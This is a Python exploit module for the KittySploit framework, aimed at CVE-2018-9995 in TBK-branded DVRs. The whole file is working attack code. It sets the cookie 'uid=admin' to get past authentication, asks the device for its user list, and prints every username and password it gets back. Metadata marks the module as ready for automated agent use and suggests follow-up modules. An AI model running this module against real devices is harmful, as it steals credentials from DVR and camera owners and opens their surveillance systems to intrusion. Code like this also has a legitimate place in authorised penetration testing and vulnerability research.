TBK DVR Auth Bypass (CVE-2018-9995)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TBK DVR cookie auth bypass credential leak (CVE-2018-9995)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TBK DVR Auth Bypass (CVE-2018-9995)',
        'description': (
            'Exploits CVE-2018-9995 in TBK/rebranded DVRs: Cookie uid=admin bypasses auth and '
            '/device.rsp?opt=user&cmd=list returns all user credentials in JSON.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-9995'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-9995'],
        'tags': ['tbk', 'dvr', 'camera', 'auth-bypass', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_9995_detect']},
        },
    }

    def check(self):
        r = self.http_request(
            method='GET',
            path='/device.rsp?opt=user&cmd=list',
            headers={'Cookie': 'uid=admin'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('"uid":', '"pwd":')):
            return {'vulnerable': True, 'reason': 'TBK DVR credential leak confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TBK DVR bypass failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('TBK DVR not vulnerable')
            return False
        r = self.http_request(
            method='GET',
            path='/device.rsp?opt=user&cmd=list',
            headers={'Cookie': 'uid=admin'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        try:
            print_success(json.dumps(json.loads(body), indent=2)[:4000])
        except json.JSONDecodeError:
            print_success(body[:4000])
        return True